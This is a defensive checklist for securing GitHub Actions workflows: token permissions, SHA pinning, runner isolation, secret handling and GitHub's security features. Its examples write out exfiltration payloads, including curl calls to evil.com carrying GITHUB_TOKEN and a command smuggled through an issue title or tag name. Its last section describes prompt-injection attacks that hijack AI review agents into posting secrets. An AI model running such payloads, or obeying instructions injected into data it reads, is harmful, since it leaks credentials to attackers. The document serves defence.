Detailed settings, examples, and coverage notes that complement the main article

This appendix accompanies „Securing GitHub Actions with Native GitHub Controls“, which focuses on the native GitHub controls I would enable first when looking at Poisoned Pipeline Execution risk in GitHub Actions.

The main article is intentionally selective. This article is intentionally exhaustive.

Use it when you want the full configuration details, the exact settings behind the recommendations, or the longer mapping of what GitHub covers natively and where open-source tooling still needs to fill a gap. Some sections go beyond GitHub itself where that helps explain the boundary, especially for private repositories, custom runners, and vulnerability scanning coverage.

It is not meant to be read as a linear article from top to bottom. It works better as a checklist, as something you keep open in the next tab while reviewing an organization or repository.

1. Organization / Repository Policy

UI settings applied once at the org or repo level. They act as guardrails regardless of what individual workflow authors write.

Set default workflow token permissions to read-only

Where: Repo → Settings → Actions → General → „Workflow permissions“
(or Org → Settings → Actions → General → „Workflow permissions“)
How: Select „Read repository contents and packages permissions“ (restricted setting), then Save.
Note: This sets the org/repo-wide default. Individual workflows should still declare permissions: {} explicitly (see Section 3) so that the default can never be silently widened by a new GitHub release.
Docs: Managing GitHub Actions settings for a repository – Setting the permissions of the GITHUB_TOKEN
Example: A workflow that only reads source code to build a container image needs no write access. With the restricted setting enabled, a git push attempted inside that workflow will fail with a 403, preventing any accidental or malicious write-back to the repository.

Restrict Actions to GitHub-owned + Marketplace-verified creators only, plus an explicit allowlist for any additional trusted actions

Where: Repo → Settings → Actions → General → „Actions permissions“
(or Org → Settings → Actions → General)
How: Select „Allow OWNER, and select non-OWNER, actions and reusable workflows“. Enable „Allow actions created by GitHub“ and „Allow Marketplace actions by verified creators“. Add any extra trusted actions to the allowlist using OWNER/REPO@SHA syntax (wildcards supported). Click Save.
Note: The allowlist controls which actions are permitted to run. It does not prevent a permitted action from being tampered with via tag moves. SHA pinning (see Section 3) closes that second gap — these two controls are complementary.
Docs: Managing GitHub Actions settings – Allowing select actions and reusable workflows to run
Example: Your pipeline uses actions/checkout, docker/login-action (verified Marketplace creator), and an internal action myorg/deploy-action. You enable GitHub-owned and verified-creator actions, then add myorg/deploy-action@<SHA> to the allowlist — any other third-party action reference will be blocked at queue time.

Disable „Allow GitHub Actions to create and approve pull requests“

Where: Repo → Settings → Actions → General → „Workflow permissions“
(or Org → Settings → Actions → General)
How: Under „Workflow permissions“, ensure the checkbox „Allow GitHub Actions to create and approve pull requests“ is unchecked. Click Save.
Docs: Managing GitHub Actions settings – Preventing GitHub Actions from creating or approving pull requests
Example: A release workflow automatically opens a changelog PR and, if left enabled, could also approve and merge it — bypassing all human review. With this setting disabled, the workflow can still open the PR but a human reviewer must approve it before it can be merged.

Enable Branch Protection Rules — „Dismiss stale approvals when new commits are pushed“ and „Require approval from someone other than the last pusher“

Where: Repo → Settings → Branches → „Branch protection rules“ → Add rule (or Edit)
How:
1. Set „Branch name pattern“ (e.g. main).
2. Enable „Require a pull request before merging“.
3. Check „Dismiss stale pull request approvals when new commits are pushed“.
4. Check „Require approval of the most recent reviewable push“ (prevents the last pusher from self-approving).
5. Click Create / Save changes.
Docs: Managing a branch protection rule – Creating a branch protection rule
Example: Alice approves a PR, then the author pushes a malicious extra commit — without „dismiss stale approvals“, Alice’s approval still stands and the PR can be merged. With both settings enabled, the approval is automatically dismissed and the „last pusher“ (the author) cannot re-approve their own change.

Protect environment-level secrets with required reviewers instead of using repository-level secrets for sensitive deployments

Where: Repo → Settings → Environments → (select or create environment)
How:
1. Click „New environment“ (or select existing).
2. Enable „Required reviewers“, add up to 6 people or teams, optionally enable „Prevent self-review“.
3. Click „Save protection rules“.
4. Add secrets under „Environment secrets“ — these are only released after reviewers approve.
Docs: Managing environments for deployment – Creating an environment
Example: You create a production environment and add two team leads as required reviewers. When the deploy workflow runs, it pauses before the deployment job and sends a Slack-style notification to the reviewers; the PROD_DB_PASSWORD secret is only injected into the runner after one of them approves.

2. Self-hosted Runner Security

Rules that apply specifically when you operate your own runner infrastructure. Apply all of these together — each one closes a different attack path.

Restrict self-hosted runners to specific repositories using Runner Groups

Where: Org → Settings → Actions → Runner groups
How: Click „New runner group“, enter a name, set Repository access to „Selected repositories“, pick the allowed repos, then click „Create group“. Move self-hosted runners into the group (Org → Settings → Actions → Runners → select runner → Runner group dropdown).
Docs: Managing access to self-hosted runners using groups
Example: You have a production runner with AWS credentials mounted on it. You create a runner group prod-runners, restrict it to the myorg/infra repository only, and assign the runner to that group — workflows in any other repository that specify runs-on: [self-hosted, prod] will simply never be scheduled on it.

Never use self-hosted runners with public repositories

Why: Any user can open a pull request against a public repo, triggering workflows that execute on your self-hosted runner with access to secrets and the GITHUB_TOKEN.
How: Use GitHub-hosted runners for all public repo workflows. For self-hosted runners in private repos, restrict access with Runner Groups (see above) and use ephemeral / just-in-time runners.
Docs: Secure use reference – Hardening for self-hosted runners
Example: A public open-source repo has a self-hosted runner because the maintainer wanted faster builds. A contributor forks the repo, adds run: curl https://evil.com/steal?t=${{ secrets.GITHUB_TOKEN }} to a workflow, opens a PR — the workflow triggers on pull_request and runs on the self-hosted machine, exfiltrating the token. Switching to runs-on: ubuntu-latest eliminates the risk entirely.

3. Workflow Authoring — Permissions & Secrets

Rules that govern how workflows declare permissions and handle secrets. Mistakes here grant excessive access or leak credentials.

Set `permissions: {}` explicitly at workflow level; grant permissions minimally at job level only

How: Add permissions: {} at the top-level workflow key to revoke all defaults, then add only the scopes needed in each job:permissions: {} # deny all at workflow level jobs: build: permissions: contents: read issues: write
Note: This is the per-workflow enforcement of the org/repo default set in Section 1. Both layers are needed: the org setting prevents silent widening; the workflow declaration makes the intent explicit and reviewable in code.
Docs: Use GITHUB_TOKEN for authentication in workflows – Modifying the permissions for the GITHUB_TOKEN · Workflow syntax reference – permissions
Example: A CI workflow has three jobs: lint (needs contents: read), release (needs contents: write and packages: write), and notify (needs nothing). With permissions: {} at the workflow level, each job is forced to declare exactly what it needs, so a compromised lint job cannot push code or packages.

Pin third-party actions to a full commit SHA instead of tags or branch refs

How: Replace tag-based references with the full 40-character commit SHA:# Instead of: uses: actions/checkout@v4 uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Note: This complements the allowlist in Section 1. The allowlist controls which actions may run; SHA pinning ensures the permitted action hasn’t been silently replaced via a tag move. Enforce org-wide via Org → Settings → Actions → General → „Require actions to be pinned to a full-length commit SHA“.
Docs: Secure use reference – Pin actions to a full-length commit SHA
Example: An attacker gains write access to actions/setup-node and moves the v4 tag to a malicious commit. Any workflow using actions/setup-node@v4 is now compromised — but a workflow pinned to actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e is unaffected because the tag move does not change the SHA.

Pass secrets individually by name only — no `toJson(secrets)` and no `secrets: inherit` in reusable workflows

How: In reusable workflow callers, pass only the secrets that are actually needed:jobs: call: uses: org/repo/.github/workflows/deploy.yml@main secrets: DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} # Do NOT use: secrets: inherit
Docs: Reuse workflows – Passing inputs and secrets to a reusable workflow
Example: A caller workflow uses secrets: inherit to invoke a shared linting workflow — this silently forwards PROD_DB_PASSWORD and AWS_SECRET_KEY to a workflow that only needs them for linting. Replacing it with secrets: { LINT_TOKEN: ${{ secrets.LINT_TOKEN }} } exposes only the one secret actually required.

Use OIDC for cloud provider authentication instead of long-lived credentials stored as secrets

How: Configure a trust relationship in your cloud provider (AWS, Azure, GCP, etc.) that accepts tokens from https://token.actions.githubusercontent.com. In the workflow, request a short-lived token and use an official login action:permissions: id-token: write # required for OIDC contents: read steps: - uses: aws-actions/configure-aws-credentials@... with: role-to-assume: arn:aws:iam::123456789:role/GitHubActionsRole aws-region: eu-central-1
Docs: About security hardening with OpenID Connect · Security hardening your deployments (per-provider guides)
Example: Instead of storing AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY as repository secrets (which never rotate and are valid for years), you create an IAM role trusted by token.actions.githubusercontent.com scoped to repo:myorg/myrepo:ref:refs/heads/main. The workflow requests a token at runtime, assumes the role for the duration of the job, and the credential expires automatically when the job ends.

4. Workflow Authoring — Injection Prevention

Rules that prevent attacker-controlled data from escaping its intended context and executing as code or commands.

Never combine `pull_request_target` or `workflow_run` with a code checkout from the fork branch (Pwn Request prevention)

Why: pull_request_target runs in the context of the base branch (trusted) but can access secrets; checking out fork code executes attacker-controlled content with those secrets.
How: If you must use pull_request_target, do not check out github.event.pull_request.head.sha. Only check out the base branch, or isolate untrusted code in a separate job without secret access.
Docs: Secure use reference – Script injection / untrusted input · Managing GitHub Actions settings – Controlling changes from forks
Example: A workflow uses pull_request_target to post a comment on fork PRs and also checks out github.event.pull_request.head.sha to run tests — a fork contributor renames their branch to inject shell commands that exfiltrate secrets.GITHUB_TOKEN. The fix is to split the workflow: one job (no checkout, no secrets) posts the comment; a second job checks out only github.sha (the base) for testing.

Never pass attacker-controlled input directly to shell execution contexts (`run:`, `GITHUB_ENV`, `GITHUB_PATH`)

Why: In all three cases the root cause is the same — a ${{ }} expression that evaluates user-controlled data is interpolated directly into a shell execution context, letting the attacker inject arbitrary commands or environment variable overrides.
How:
- In run: steps, always route event data through an intermediate env var:- name: Check title env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" # TITLE is data; never ${{ ... }} inline in run:
- Before writing to GITHUB_ENV or GITHUB_PATH, validate the value matches an expected pattern (e.g. ^v[0-9]+\.[0-9]+$) or use a dedicated action instead of a raw echo … >> $GITHUB_ENV.
Docs: Secure use reference – Use an intermediate environment variable · Secure use reference – Script injection attacks
Example (run: injection): A workflow does run: echo "Checking: ${{ github.event.issue.title }}" — an attacker opens an issue titled x"; curl https://evil.com/?t=$GITHUB_TOKEN; echo " and the injected command runs. Using env: { TITLE: "${{ ... }}" } and run: echo "$TITLE" makes the title data, not code.
Example (GITHUB_ENV injection): A step does echo "VERSION=${{ github.event.release.tag_name }}" >> $GITHUB_ENV — a tag named 1.0\nPATH=/tmp/evil:$PATH injects a second line, hijacking PATH for all subsequent steps. A regex check on the tag name before writing prevents this.

Use `actions/checkout` with `persist-credentials: false` when downstream steps do not need the credentials

How:- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 with: persist-credentials: false
Docs: actions/checkout README – persist-credentials · Secure use reference – Use secrets for sensitive information
Example: A build workflow checks out code and then calls a third-party action that exfiltrates the stored Git credentials from .git/config. With persist-credentials: false, actions/checkout removes the credential helper immediately after checkout, so the Git token is gone before the third-party action runs.

5. GitHub Actions 2026 Security Roadmap

Upcoming platform features announced in the GitHub Actions 2026 Security Roadmap (March 2026). None are generally available yet — all are in public preview within 3–9 months from announcement. The manual controls in Sections 1–4 remain necessary in the meantime. Each feature is listed with the rule(s) it will strengthen once it ships.

Workflow-level dependency locking (`dependencies:` lock file)

Status: Public preview in 3–6 months, GA in ~6 months (as of March 2026)
What it does: Adds a dependencies: section to workflow YAML backed by a lock file (analogous to go.sum or package-lock.json). Hashes are verified at runtime; updates appear as reviewable PR diffs. Covers composite action transitive dependencies — not just direct uses: references.
Strengthens: Section 3 — Pin third-party actions to a full commit SHA. Automates what is currently a manual per-action discipline and closes the transitive dependency gap that SHA pinning alone cannot address.

Policy-driven workflow execution (rulesets)

Status: Public preview in 3–6 months, GA in ~6 months (as of March 2026)
What it does: Extends GitHub’s ruleset framework to workflow execution. Actor rules restrict which identities can trigger a workflow; event rules restrict which trigger events are permitted (e.g. ban pull_request_target org-wide, limit workflow_dispatch to maintainers). An evaluate mode allows safe rollout without immediately blocking.
Strengthens:
- Section 4 — Never combine pull_request_target with a fork checkout: the trigger event can be prohibited at org level via policy instead of relying on per-workflow authoring discipline.
- Section 1 — Disable Actions creating and approving PRs: actor rules extend the same intent to a broader set of automated actors and events.

Scoped secrets

Status: Public preview in 3–6 months, GA in ~6 months (as of March 2026)
What it does: Binds secrets to explicit execution contexts — specific repos, branches, environments, or workflow paths. Reusable workflows can be granted trust without callers forwarding secrets. Write access to a repository will no longer implicitly grant secret management rights (a dedicated custom role will be required).
Strengthens:
- Section 3 — Pass secrets individually / no secrets: inherit: makes over-sharing structurally impossible at the platform level rather than enforced by code review alone.
- Section 1 — Protect environment-level secrets with required reviewers: complements environment protection with fine-grained binding so a secret cannot be accessed from an unintended workflow path even if the environment gate is passed.

Native egress firewall for GitHub-hosted runners

Status: Public preview in 6–9 months (as of March 2026)
What it does: Layer 7 network policy enforced outside the runner VM — immutable even if an attacker gains root inside the runner. Allows allowlisting by domain, IP, HTTP method, and TLS certificate. Ships with a monitor mode before moving to enforce mode.
Strengthens:
- Section 2 — Never use self-hosted runners with public repos: makes GitHub-hosted runners a stronger safe alternative by bounding what a compromised job can reach.
- Section 4 — Injection prevention examples: the canonical exfiltration payload (curl https://evil.com/?t=$GITHUB_TOKEN) would be blocked at the network layer before it leaves the runner.

Actions Data Stream

Status: Public preview in 3–6 months, GA in 6–9 months (as of March 2026)
What it does: Near real-time execution telemetry streamed to S3 or Azure Event Hub — workflow/job execution details, dependency resolution, and action usage patterns.
Strengthens: Acts as an observability layer across all sections. Enables detection of violations of the runner rules (Section 2), credential usage patterns (Section 3 OIDC rule), and anomalous outbound calls (Section 4 injection examples) before the egress firewall is in enforce mode.

6. GitHub Security Platform Features

Existing GitHub security features (not Actions-specific) that complement the measures in Sections 1–4. Unlike Section 5, these are available today. Availability tiers are noted per feature. Docs overview: GitHub security features

Dependabot version updates for GitHub Actions

Availability: All plans (free)
What it does: When a dependabot.yml config lists package-ecosystem: github-actions, Dependabot automatically opens pull requests to update uses: references whenever a new version of an action is released — including updating pinned SHAs to the latest commit hash.
Strengthens: Section 3 — Pin third-party actions to a full commit SHA. SHA pinning prevents tag-move attacks but creates a maintenance burden (manually tracking new releases). Dependabot removes that burden by keeping SHAs current automatically.
How to enable:# .github/dependabot.yml version: 2 updates: - package-ecosystem: github-actions directory: / schedule: interval: weekly
Docs: Keeping your actions up to date with Dependabot

⚠ Dependabot itself introduces supply chain risk — mitigate with `cooldown`

Dependabot is a dependency ingestion mechanism. When an action is compromised (e.g. the March 2026 TeamPCP/trivy-action incident, where attackers force-pushed malicious code onto 75 of 76 version tags), Dependabot will open a PR that pins to the newly compromised SHA within hours. If that PR is merged — or if auto-merge is enabled — the malicious action enters your workflows automatically.

Research cited by Wiz shows that 80–90% of supply chain attacks are detected within 7 days of the malicious release. A cooldown period delays Dependabot PRs by a configurable number of days, allowing the community to detect and report the compromise before the update reaches you.

Risks to manage:

No cooldown (default): Dependabot PRs appear immediately after a new release, within the highest-risk window for undetected attacks.
Auto-merge enabled: A Dependabot PR for a compromised action merges without human review, giving the attacker instant access to your runner secrets.
Postinstall code execution (npm/pip ecosystems): When Dependabot bumps a package.json dependency and CI runs npm install, postinstall scripts from the new package version execute inside the runner with whatever secrets that job has access to — an indirect supply chain attack vector.

How to configure cooldown for GitHub Actions:

Note: github-actions ecosystem does not support SemVer, so only default-days applies (not semver-major-days etc.).

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    cooldown:
      default-days: 7       # delay all action updates 7 days after release

For npm/pip, SemVer levels are supported and you can differentiate risk by update type:

  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    cooldown:
      semver-major-days: 14   # major bumps are highest risk — wait 2 weeks
      semver-minor-days: 7
      semver-patch-days: 3
      default-days: 7

Additional hardening:

Never enable auto-merge for Dependabot PRs on any package ecosystem used in CI workflows.
Use Dependency Review action (Section 6) on Dependabot PRs to block merges that introduce known-CVE versions.
Cooldown applies to version updates only, not security updates — Dependabot security update PRs bypass cooldown and fire immediately, which is the correct behaviour.
Docs: Dependabot options reference — cooldown

Secret scanning and push protection

Availability: Free for public repositories; requires GitHub Secret Protection license for private repositories
What it does: Secret scanning continuously scans repository contents and commit history for known credential patterns (API keys, tokens, cloud provider credentials). Push protection intercepts a git push that contains a recognised secret and blocks it before it reaches the remote — the developer must explicitly bypass or remove the secret.
Strengthens: Section 3 — Use OIDC instead of long-lived credentials. Even when OIDC is the target state, a developer may temporarily commit a fallback credential during migration. Push protection catches it before it lands in history. Also catches GITHUB_TOKEN leaks in workflow output.
How to enable: Org → Settings → Code security → „Secret scanning“ → Enable; toggle „Push protection“ on.
Docs: About secret scanning · About push protection

Code scanning — CodeQL Actions security queries

Availability: Free for public repositories; requires GitHub Code Security license for private repositories
What it does: CodeQL includes a dedicated query suite for GitHub Actions workflow files. It detects script injection patterns (inline ${{ }} in run: steps), pull_request_target combined with fork checkouts, and missing permissions declarations — the exact vulnerabilities covered in Sections 3 and 4.
Strengthens:
- Section 4 — Injection prevention: static analysis flags injection-vulnerable run: steps and Pwn Request patterns in PRs before they are merged.
- Section 3 — Permissions: alerts when permissions is missing or overly broad at the workflow level.
How to enable: Repo → Security → „Set up code scanning“ → select CodeQL → the default query suite includes Actions security queries automatically.
Docs: About code scanning

Dependency review

Availability: Free for public repositories; requires GitHub Code Security license for private repositories
What it does: On every pull request, the dependency review action compares the dependency graph before and after the change and surfaces newly added or updated dependencies with known CVEs, their licenses, and their full transitive tree — including GitHub Actions referenced via uses:.
Strengthens: Section 3 — Pin third-party actions to a full commit SHA and Section 1 — Restrict Actions allowlist. Gives reviewers a structured diff of action changes in a PR, making it easy to spot an action upgrade or an unreviewed new action before it is merged.
How to enable: Add the actions/dependency-review-action to a PR workflow; optionally set fail-on-severity: high to block merges with high-severity dependencies.
Docs: About dependency review

Vulnerability scanning coverage — actions, images, and runtime software

This section maps the three distinct CVE scanning targets against what GitHub provides natively and where gaps remain.

Target A — Action version CVEs (which version of an action you are using)

Covered natively. Dependabot (Section 6 above) + GitHub’s Advisory Database + the Dependency Review action together address this target:

Dependabot opens a PR when a newer action version is available and surfaces any CVE associated with the version being replaced.
The Dependency Review action blocks a PR merge if it introduces an action reference with an open CVE above a configurable severity threshold.
When a CVE is disclosed against a version you are already pinned to but no fixed version exists yet, GitHub Security Advisories raise an alert in the repository Security tab — but there is no automated fix available until the action author publishes a patched version.

Limit: Dependabot tracks version releases, not the contents of the action’s bundled code. If a compromised version is published (e.g. the March 2026 TeamPCP/trivy-action incident), Dependabot will open a PR pointing to the compromised SHA within hours. The cooldown setting (see Dependabot section above) and mandatory human review before merge are the controls for this scenario.

Target B — Docker-based action images and self-hosted runner container images

Not covered natively. GitHub has no built-in CVE scanning for:

docker:// action images referenced via uses: docker://image:tag
The container image ARC spins up for each self-hosted runner job
Any container used in a container: or services: block

For GitHub-hosted runners (ubuntu-latest etc.), GitHub patches the underlying VM on its own schedule — you have no visibility into when OS packages are updated or what CVEs are present at any given time.

Gap: separate tooling is required to scan these images for OS-level and language-dependency CVEs, generate SARIF findings, and enforce a blocking policy on critical vulnerabilities. This applies to both scheduled scans (catching new CVEs between builds) and per-build scans (catching CVEs introduced by a base image update).

Target C — Software installed during a workflow `run:` step or via an action

Not covered by any GitHub-native tool, or by Grype’s scheduled image scan. Grype scans the image layers baked into ghcr.io/actions/actions-runner:latest before any job runs. It has no visibility into what happens inside a running job. When a step does this:

- uses: some-action/install-tool@abc123   # action internally runs apt-get, pip, curl | bash
- run: apt-get install -y libssl1.0       # or installed directly in a run: step

…the installed software exists only in the ephemeral container’s overlay filesystem during that job. The Grype scan already ran and exited before any of this occurred. This is a fundamental limitation: you would need to execute the action to know what it installs, so no pre-scan is possible.

Layered mitigations (no single tool closes this gap):

Post-install Grype rootfs scan — add a Grype step after all installs in the same job to scan the live filesystem retrospectively. This does not block the install or the code between install and scan, but it produces a CVE audit trail:- uses: some-action/install-tool@abc123 - name: Post-install CVE audit run: grype rootfs / --output table --severity HIGH,CRITICAL
Runtime behavioral detection (Falco + Tetragon) — the existing PoC stack detects: package manager executions (apt-get, pip, npm) inside runner pods, new binaries appearing in system paths, network connections made by newly-installed software, and curl | bash pipe patterns. This is behavioral coverage, not CVE coverage, but it fires during the job.
Network-level restriction (Cilium egress policy) — if the external package registry (apt.ubuntu.com, pypi.org, etc.) is not in the Cilium FQDN allowlist, the install fails at the network layer before any package is fetched. This is the strongest preventive control for this target.
Authoring discipline — pin exact package versions in run: steps (apt-get install libssl1.0=1.0.2n-1ubuntu5.13), audit all run: steps and action source code in code review, and reject actions whose source code includes unconstrained package installs.

Summary

CVE target	Native GitHub coverage	Non-native coverage	Gap?
Action version CVEs	Dependabot + Dependency Review + Advisory DB (auto-PR)	—	None, with cooldown
Docker action images	❌	Grype/Trivy scheduled scan	Separate tooling required
Self-hosted runner container image	❌	Grype/Trivy scheduled scan (PoC: `runner-image-scan.yml`)	Separate tooling required
Packages installed by actions / `run:` steps	❌	Grype `rootfs` audit step (retrospective); Falco/Tetragon (behavioral); Cilium egress (preventive)	Permanent partial gap
GitHub-hosted runner OS packages	Patched by GitHub (opaque schedule)	—	No visibility

Artifact attestations

Availability: Free for public repositories; requires GitHub Enterprise Cloud for private repositories
What it does: Generates a signed, SLSA-compliant provenance attestation for build artifacts (container images, binaries) during a workflow run. Consumers can verify that a given artifact was produced by a specific workflow in a specific repository at a specific commit — and was not tampered with after the fact.
Strengthens: Section 3 — Use OIDC for cloud authentication (same trust model — short-lived, repo-scoped identity). Complements SHA pinning by extending supply chain integrity from the actions used to the artifacts produced. Particularly relevant when self-hosted runners produce artifacts, since it provides a cryptographic audit trail independent of runner trustworthiness.
Docs: Using artifact attestations to establish provenance for builds

Copilot Autofix for code scanning (AI-powered)

Availability: Free for public repositories; requires GitHub Code Security license for private repositories. No Copilot subscription needed.
What it does: When CodeQL detects a security alert on a pull request, Copilot Autofix uses an LLM (GPT-5.3-Codex) to automatically generate a targeted code fix suggestion directly in the PR — alongside an explanation of the vulnerability. The developer reviews, optionally edits, and commits the suggestion. Suggestions are tested internally before display; if testing fails, no suggestion is shown.
Strengthens:
- Section 4 — Injection prevention: Autofix can suggest the env: intermediate variable pattern to fix a flagged run: injection without the developer needing to know the correct mitigation technique.
- Section 3 — Permissions: Suggests permission scope reductions when CodeQL flags overly broad permissions declarations.
Limitations to be aware of: Suggestions are non-deterministic and best-effort; a small percentage reflect a significant misunderstanding of the codebase. Always review before committing. Suggested dependency additions may reference fabricated package names — check any new dependencies against the actual registry.
Docs: Responsible use of Copilot Autofix for code scanning

Copilot secret scanning — generic secret detection (AI-powered)

Availability: Requires GitHub Secret Protection license (Team or Enterprise Cloud). No Copilot subscription needed.
What it does: Standard secret scanning matches known patterns (AWS keys, GitHub tokens, etc.). Generic secret detection uses an LLM to identify unstructured secrets — passwords and passphrases — that do not match any fixed regex pattern and would otherwise go undetected. Alerts appear in a separate „Generic“ list in the Security tab, flagged as AI-detected, to be triaged with extra scrutiny.
Strengthens: Section 3 — Use OIDC / no long-lived credentials. Catches cases where a developer hardcodes a database password or API passphrase in a workflow file or adjacent config — credential types that standard secret scanning misses entirely.
Limitations to be aware of: Higher false-positive rate than pattern-based secret scanning; alerts require manual triage. Scope is currently limited to git content only (not Issues, wikis, etc.). Does not detect secrets in test files, generated files, or encrypted files.
Docs: Responsible detection of generic secrets with Copilot secret scanning

7. AI Agent Prompt Injection — New Attack Surface

AI agents that integrate with GitHub Actions (code review bots, Copilot Agent, Gemini CLI Action, etc.) introduce a new class of attack that is orthogonal to the controls in Sections 1–4. Researchers demonstrated in April 2026 that Claude Code Security Review, Google Gemini CLI Action, and GitHub Copilot Agent were all hijacked using this technique, with API keys, GitHub tokens, and repository secrets exfiltrated. Vendors paid bug bounties but did not issue CVEs or public advisories. Source: The Register, 15 Apr 2026.

The attack: „Comment-and-Control“ prompt injection

How it works: AI agents running in GitHub Actions read GitHub-controlled data — PR titles, issue bodies, comments, code content — as part of their LLM context. An attacker injects malicious instructions into this data (e.g. a PR title, an HTML comment hidden from human readers, or a string literal inside submitted code). The LLM processes the injected instruction as a legitimate command, executes it using whatever tools the agent has access to, and exfiltrates the result — posting secrets as a PR comment, writing them to a file, or sending them via any other permitted channel.
Why existing controls do not fully protect against this:
- Section 4 injection rules address ${{ }} interpolation into shell run: steps. The AI agent attack does not use shell interpolation — the LLM context window is the injection surface.
- Section 5 egress firewall (when available) only blocks traffic to non-allowlisted external hosts. The researchers exfiltrated credentials by posting them as GitHub PR comments — traffic to api.github.com is always permitted.
- Section 1 environment secrets with required reviewers protects the approval gate but not the runner environment after approval. Once a job is running, all injected secrets are live in the environment and reachable by any hijacked agent in that job.
- Section 3 OIDC tokens are short-lived but not zero-lived — a hijacked agent can exfiltrate a valid credential within its active window.
Key insight: Even agents with built-in prompt injection prevention can be bypassed. Treat any agent that reads user-controlled GitHub data as an untrusted code executor.
Example: A contributor opens a PR with the title fix: typo. The Claude Code Security Review action reads the title as part of its LLM context, executes the injected instruction, and posts the token value in its PR review comment. The attacker reads the comment, then edits the PR title back to fix: typo and deletes the comment — leaving no visible trace.

Mitigation 1 — Strip permissions from AI agent jobs (`permissions: {}`)

Why it works: The researchers‘ exploit posted the stolen token as a PR comment using the GITHUB_TOKEN’s write access. Declaring permissions: {} (or at most pull-requests: read) on the job running the AI agent means the agent holds no write-capable token. The exfiltration channel via GitHub’s own API is severed even if the agent is fully compromised.
How: Apply minimal permissions at the job level for every job that invokes an AI agent action:jobs: ai-review: permissions: pull-requests: read # read PR content; no write access contents: read steps: - uses: anthropics/claude-code-security-review@<SHA>
Cross-reference: This is the per-job application of Section 3 — Set permissions: {} explicitly. AI agent jobs are a particularly high-priority target because the agent reads attacker-controlled input by design.

Mitigation 2 — Never expose repository/org secrets to AI agent jobs

Why it works: The attack steals „any secret exposed in the GitHub Actions runner environment.“ If no secrets are injected into the job, there is nothing to steal beyond the (already-restricted) GITHUB_TOKEN.
How: Isolate AI agent jobs from deployment secrets. Never use secrets: inherit when calling a workflow that contains an AI agent. Pass only the credential the agent needs to authenticate to its own API (e.g. ANTHROPIC_API_KEY) — and scope those vendor API keys to the minimum permission level the vendor supports (read-only / review-only where available).
Cross-reference: Direct application of Section 3 — Pass secrets individually by name only.

Mitigation 3 — Require approval before AI agent workflows run on fork PRs

Why it works: The attack requires the agent workflow to actually execute. A maintainer approval gate prevents a malicious fork PR from triggering the agent at all — the injection payload never reaches the LLM.
How: Repo → Settings → Actions → General → „Fork pull request workflows“ → „Require approval for all outside collaborators“. This is the same setting Anthropic added to their own Claude Code Security Review documentation after the vulnerability was disclosed.
Cross-reference: Direct application of Section 1 — Restrict Actions permissions / controlling changes from forks.
Docs: Managing GitHub Actions settings – Controlling changes from forks

Mitigation 4 — Apply least-privilege to agent tools, not just workflow permissions

Why it works: If an AI review agent has no shell execution (bash) tool, it cannot run injected commands even if its prompt is fully compromised. The researcher explicitly named this as the primary architectural defence: „Only give agents the tools they need to complete their task.“
How: This is controlled by the agent action’s own configuration rather than the workflow author, but you can evaluate and constrain it at adoption time:
1. Check whether the action exposes a shell execution tool and whether your use case requires it. Prefer actions that operate in read-only or comment-only mode for review tasks.
2. Pin the agent action to a full commit SHA (Section 3) so a new tool capability cannot be silently added by the vendor via a tag move.
3. If the vendor provides configuration to disable tools (e.g. disabling bash in a review-only deployment), set it explicitly.
Note: Mitigations 1–3 are fully under workflow-author control and should be treated as the primary defence layer. This mitigation depends partly on the agent vendor’s implementation.

Note from the Author: You made it this far. May I also interest you in some Open Source Alternatives?